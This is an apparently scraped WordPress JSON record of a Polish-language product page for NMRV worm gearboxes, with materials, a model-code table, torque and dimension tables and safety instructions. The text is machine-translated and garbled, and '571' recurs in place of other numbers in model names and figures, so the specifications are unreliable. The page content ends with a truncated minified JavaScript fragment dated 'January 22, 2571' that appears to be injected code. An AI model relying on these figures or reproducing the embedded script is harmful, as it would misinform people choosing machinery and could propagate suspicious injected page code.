{"id":1108,"date":"2024-04-26T03:15:52","date_gmt":"2024-04-26T03:15:52","guid":{"rendered":"https:\/\/nmrv050gearbox.top\/china-standard-nmrv-series-worm-gear-box-with-power-60w-15kw-worm-gear-reduction-motor-comer-gearbox\/"},"modified":"2024-04-26T03:15:52","modified_gmt":"2024-04-26T03:15:52","slug":"china-standard-nmrv-series-worm-gear-box-with-power-60w-15kw-worm-gear-reduction-motor-comer-gearbox","status":"publish","type":"post","link":"https:\/\/nmrv050gearbox.top\/pl\/china-standard-nmrv-series-worm-gear-box-with-power-60w-15kw-worm-gear-reduction-motor-comer-gearbox\/","title":{"rendered":"China Standard Nmrv Series Worm Gear Box with Power 60W-15kw Worm Gear Reduction Motor comer gearbox"},"content":{"rendered":"
\n
\n

Opis produktu<\/h2>\n

\n

\u00a0
<\/b> <\/p>\n

Parametry produktu<\/p>\n

Monta\u017c i emisja materia\u0142\u00f3w g\u0142\u00f3wnych<\/b><\/p>\n

1. Korpus wykonany ze stopu aluminium odlewanego ci\u015bnieniowo;<\/p>\n

2. Wa\u0142 \u015blimakowy, stal 20 Crq, obr\u00f3bka w wysokiej temperaturze;<\/p>\n

3. Przek\u0142adnia \u015blimakowa, stop br\u0105zu niklowego;<\/p>\n

4. Korpus ze stopu aluminium, piaskowanie i zabezpieczenie antykorozyjne powierzchni;<\/p>\n

5. Korpus \u017celiwny, malowany farb\u0105 BIU RA5571.<\/p>\n

Regularna edycja specyfikacji odleg\u0142o\u015bci od \u015brodka i nadawanie<\/p>\n

Odleg\u0142o\u015b\u0107 mi\u0119dzy \u015brodkami: 130 (jednostka: mm).<\/p>\n

\u015arednica otworu wyj\u015bciowego\/wa\u0142u: 11, 14, 18, 25, 28, 35, 42, 45 (jednostka: mm)<\/b> <\/p>\n

Szczeg\u00f3\u0142owe zdj\u0119cia<\/p>\n

\n

\n

\n

\n

\u00a0<\/p>\n

<\/b> <\/p>\n

\n\n\n\n\n\n\n\n\n\n\n\n
\n

NMRV-063-30-VS\u2013AS-80B5-0,75KW-B3 <\/p>\n<\/td>\n<\/tr>\n

\n

NMRV <\/p>\n<\/td>\n

\n

Oznacza otw\u00f3r wej\u015bciowy z ko\u0142nierzem <\/p>\n<\/td>\n<\/tr>\n

\n

NRV <\/p>\n<\/td>\n

\n

Oznacza wa\u0142 wej\u015bciowy bez ko\u0142nierza <\/p>\n<\/td>\n<\/tr>\n

\n

063 <\/p>\n<\/td>\n

\n

Odleg\u0142o\u015b\u0107 mi\u0119dzy \u015brodkami przek\u0142adni \u015blimakowej <\/p>\n<\/td>\n<\/tr>\n

\n

30 <\/p>\n<\/td>\n

\n

stosunek <\/p>\n<\/td>\n<\/tr>\n

\n

VS <\/p>\n<\/td>\n

\n

Podw\u00f3jny wa\u0142 wej\u015bciowy <\/p>\n<\/td>\n

\n

F1(FA) <\/p>\n<\/td>\n

\n

Wa\u0142 nap\u0119dowy ko\u0142nierzowy <\/p>\n<\/td>\n<\/tr>\n

\n

JAK <\/p>\n<\/td>\n

\n

Pojedynczy wa\u0142 wyj\u015bciowy <\/p>\n<\/td>\n

\n

AB <\/p>\n<\/td>\n

\n

Podw\u00f3jny wa\u0142 wyj\u015bciowy <\/p>\n<\/td>\n<\/tr>\n

\n

PAM <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

80B5 <\/p>\n<\/td>\n

\n

Miejsce monta\u017cu silnika <\/p>\n<\/td>\n<\/tr>\n

\n

0,75 kW <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

B3 <\/p>\n<\/td>\n

\n

Pozycja monta\u017cu <\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\n

\n

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\n

N2 <\/p>\n<\/td>\n

\n

NRV571 <\/p>\n<\/td>\n

\n

NRV030 <\/p>\n<\/td>\n

\n

NRV040 <\/p>\n<\/td>\n

\n

NRV050 <\/p>\n<\/td>\n

\n

NRV063 <\/p>\n<\/td>\n

\n

NRV075 <\/p>\n<\/td>\n

\n

NRV090 <\/p>\n<\/td>\n

\n

NRV110 <\/p>\n<\/td>\n

\n

NRV130 <\/p>\n<\/td>\n<\/tr>\n

\n

400 <\/p>\n<\/td>\n

\n

390 <\/p>\n<\/td>\n

\n

530 <\/p>\n<\/td>\n

\n

1571 <\/p>\n<\/td>\n

\n

1400 <\/p>\n<\/td>\n

\n

1830 <\/p>\n<\/td>\n

\n

2160 <\/p>\n<\/td>\n

\n

2390 <\/p>\n<\/td>\n

\n

3571 <\/p>\n<\/td>\n

\n

3950 <\/p>\n<\/td>\n<\/tr>\n

\n

250 <\/p>\n<\/td>\n

\n

460 <\/p>\n<\/td>\n

\n

620 <\/p>\n<\/td>\n

\n

1200 <\/p>\n<\/td>\n

\n

1650 <\/p>\n<\/td>\n

\n

2150 <\/p>\n<\/td>\n

\n

2520 <\/p>\n<\/td>\n

\n

2800 <\/p>\n<\/td>\n

\n

3530 <\/p>\n<\/td>\n

\n

4610 <\/p>\n<\/td>\n<\/tr>\n

\n

150 <\/p>\n<\/td>\n

\n

550 <\/p>\n<\/td>\n

\n

740 <\/p>\n<\/td>\n

\n

1420 <\/p>\n<\/td>\n

\n

1960 <\/p>\n<\/td>\n

\n

2450 <\/p>\n<\/td>\n

\n

2990 <\/p>\n<\/td>\n

\n

3310 <\/p>\n<\/td>\n

\n

4180 <\/p>\n<\/td>\n

\n

5470 <\/p>\n<\/td>\n<\/tr>\n

\n

100 <\/p>\n<\/td>\n

\n

630 <\/p>\n<\/td>\n

\n

850 <\/p>\n<\/td>\n

\n

1620 <\/p>\n<\/td>\n

\n

2250 <\/p>\n<\/td>\n

\n

2910 <\/p>\n<\/td>\n

\n

3430 <\/p>\n<\/td>\n

\n

3800 <\/p>\n<\/td>\n

\n

4790 <\/p>\n<\/td>\n

\n

6260 <\/p>\n<\/td>\n<\/tr>\n

\n

60 <\/p>\n<\/td>\n

\n

740 <\/p>\n<\/td>\n

\n

1000 <\/p>\n<\/td>\n

\n

1920 <\/p>\n<\/td>\n

\n

2660 <\/p>\n<\/td>\n

\n

3450 <\/p>\n<\/td>\n

\n

4060 <\/p>\n<\/td>\n

\n

4500 <\/p>\n<\/td>\n

\n

5680 <\/p>\n<\/td>\n

\n

7420 <\/p>\n<\/td>\n<\/tr>\n

\n

40 <\/p>\n<\/td>\n

\n

850 <\/p>\n<\/td>\n

\n

1150 <\/p>\n<\/td>\n

\n

2200 <\/p>\n<\/td>\n

\n

3050 <\/p>\n<\/td>\n

\n

3950 <\/p>\n<\/td>\n

\n

4650 <\/p>\n<\/td>\n

\n

5150 <\/p>\n<\/td>\n

\n

6500 <\/p>\n<\/td>\n

\n

8500 <\/p>\n<\/td>\n<\/tr>\n

\n

25 <\/p>\n<\/td>\n

\n

990 <\/p>\n<\/td>\n

\n

1350 <\/p>\n<\/td>\n

\n

2570 <\/p>\n<\/td>\n

\n

3570 <\/p>\n<\/td>\n

\n

4620 <\/p>\n<\/td>\n

\n

5440 <\/p>\n<\/td>\n

\n

6571 <\/p>\n<\/td>\n

\n

7600 <\/p>\n<\/td>\n

\n

9940 <\/p>\n<\/td>\n<\/tr>\n

\n

10 <\/p>\n<\/td>\n

\n

1350 <\/p>\n<\/td>\n

\n

1830 <\/p>\n<\/td>\n

\n

3490 <\/p>\n<\/td>\n

\n

4840 <\/p>\n<\/td>\n

\n

6270 <\/p>\n<\/td>\n

\n

7380 <\/p>\n<\/td>\n

\n

8180 <\/p>\n<\/td>\n

\n

10320 <\/p>\n<\/td>\n

\n

13500 <\/p>\n<\/td>\n<\/tr>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n

\n

\u00a0 <\/p>\n<\/td>\n<\/tr>\n

\n

A <\/p>\n<\/td>\n

\n

50 <\/p>\n<\/td>\n

\n

65 <\/p>\n<\/td>\n

\n

84 <\/p>\n<\/td>\n

\n

101 <\/p>\n<\/td>\n

\n

120 <\/p>\n<\/td>\n

\n

131 <\/p>\n<\/td>\n

\n

162 <\/p>\n<\/td>\n

\n

191 <\/p>\n<\/td>\n

\n

203 <\/p>\n<\/td>\n<\/tr>\n

\n

B <\/p>\n<\/td>\n

\n

38 <\/p>\n<\/td>\n

\n

50 <\/p>\n<\/td>\n

\n

64 <\/p>\n<\/td>\n

\n

76 <\/p>\n<\/td>\n

\n

95 <\/p>\n<\/td>\n

\n

101 <\/p>\n<\/td>\n

\n

122 <\/p>\n<\/td>\n

\n

151 <\/p>\n<\/td>\n

\n

163 <\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\n

\n

\n

\n

Gwarancja u\u017cytkowania i bezpiecze\u0144stwa<\/b> <\/p>\n

1. Przed u\u017cyciem nale\u017cy sprawdzi\u0107 i potwierdzi\u0107 dopasowanie intensywno\u015bci pomi\u0119dzy przek\u0142adni\u0105 \u015blimakow\u0105 a urz\u0105dzeniem mechanicznym, aby mie\u0107 pewno\u015b\u0107, \u017ce mie\u015bci si\u0119 ona w bezpiecznym zakresie parametr\u00f3w wydajno\u015bci przek\u0142adni \u015blimakowej.
2. Reduktor przek\u0142adni \u015blimakowej zosta\u0142 nape\u0142niony olejem smarowym WA460. Nale\u017cy wymieni\u0107 olej smarowy po pierwszym uruchomieniu po 400 godzinach, a nast\u0119pnie po 4000 godzinach w celu przeprowadzenia cyklu wymiany oleju smarowego.
3. Przek\u0142adnia \u015blimakowa powinna by\u0107 odpowiednio nasmarowana, nale\u017cy regularnie sprawdza\u0107 poziom oleju.
4. Podczas monta\u017cu nale\u017cy zachowa\u0107 ostro\u017cno\u015b\u0107, aby unikn\u0105\u0107 uszkodzenia uszczelek olejowych na wa\u0142ku wyj\u015bciowym ostrymi narz\u0119dziami, co mog\u0142oby spowodowa\u0107 wyciek.
5. Przed pod\u0142\u0105czeniem mechanicznym nale\u017cy sprawdzi\u0107 kierunek obrot\u00f3w. Nieprawid\u0142owy kierunek obrot\u00f3w mo\u017ce spowodowa\u0107 obra\u017cenia cia\u0142a lub uszkodzenie urz\u0105dze\u0144.
6. Aby unikn\u0105\u0107 obra\u017ce\u0144, nale\u017cy ustawi\u0107 os\u0142ony zabezpieczaj\u0105ce w pozycji obrotowej.
7. Prosz\u0119 zachowa\u0107 szczeg\u00f3ln\u0105 ostro\u017cno\u015b\u0107: jest bardzo niebezpiecznie, je\u015bli podczas poruszania si\u0119 dojdzie do upadku lub upadku. <\/p>\n

\n

\n

<\/b> \t\/* January 22, 2571 19:08:37 *\/!function(){function s(e,r){var a,o={};try{e&&e.split(“,”).forEach(function(e,t){e&&(a=e.match(\/(.*?):(.*)$\/))&&1\t <\/p>\n

\n

\n